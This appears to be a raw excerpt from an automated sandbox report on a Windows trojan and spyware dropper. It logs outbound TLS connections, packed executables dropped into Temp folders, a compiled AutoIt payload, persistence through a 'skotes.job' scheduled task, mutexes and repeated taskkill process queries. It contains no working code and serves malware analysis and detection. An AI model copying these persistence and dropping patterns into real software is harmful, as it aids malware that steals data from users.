Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50246
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 50164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50308
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50208
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50296
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50295
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50179
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50178
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50180
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50181
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50193
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50195
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50194
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50308 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50254
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50253
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50137
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50140
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443

Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.109.164:443 -> 192.168.2.4:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.109.164:443 -> 192.168.2.4:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49917 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49946 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50048 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50127 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.65.91:443 -> 192.168.2.4:50125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50132 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50134 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50195 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50193 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50194 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.85:443 -> 192.168.2.4:50212 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.85:443 -> 192.168.2.4:50214 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.85:443 -> 192.168.2.4:50224 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.20:443 -> 192.168.2.4:50230 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.17:443 -> 192.168.2.4:50249 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50254 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50256 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50253 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50255 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 36321ea525.exe, 0000000B.00000002.2637223017.0000000000DF2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_eae7f10c-2
Source: 36321ea525.exe, 0000000B.00000002.2637223017.0000000000DF2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_843ac131-9

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: d015c0e328.exe.6.dr	Static PE information: section name:
Source: d015c0e328.exe.6.dr	Static PE information: section name: .idata
Source: d015c0e328.exe.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: 9b8665be8a.exe.6.dr	Static PE information: section name:
Source: 9b8665be8a.exe.6.dr	Static PE information: section name: .idata
Source: 9b8665be8a.exe.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: da69a13142.exe.6.dr	Static PE information: section name:
Source: da69a13142.exe.6.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_3_0115F8D4	7_3_0115F8D4
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_3_0115F8D4	7_3_0115F8D4
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_3_0115F8D4	7_3_0115F8D4
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_3_0115F8D4	7_3_0115F8D4
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Code function: 7_2_065AE2BE	7_2_065AE2BE

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9981320248637602
Source: file.exe	Static PE information: Section: cqnnvyhp ZLIB complexity 0.9946645100911459
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981320248637602
Source: skotes.exe.0.dr	Static PE information: Section: cqnnvyhp ZLIB complexity 0.9946645100911459
Source: random[1].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9992891905737705
Source: random[1].exe.6.dr	Static PE information: Section: okzfovcg ZLIB complexity 0.993935938449271
Source: d015c0e328.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9992891905737705
Source: d015c0e328.exe.6.dr	Static PE information: Section: okzfovcg ZLIB complexity 0.993935938449271
Source: random[1].exe0.6.dr	Static PE information: Section: dsxuiljp ZLIB complexity 0.9947752122031059
Source: 9b8665be8a.exe.6.dr	Static PE information: Section: dsxuiljp ZLIB complexity 0.9947752122031059

Source: random[1].exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 9b8665be8a.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: d015c0e328.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe0.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@126/17@102/18

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4108:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3760:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1144:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8184:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2484:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4336:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7924:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7204:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6208:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7132:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7692:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6860:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5084:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4080:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
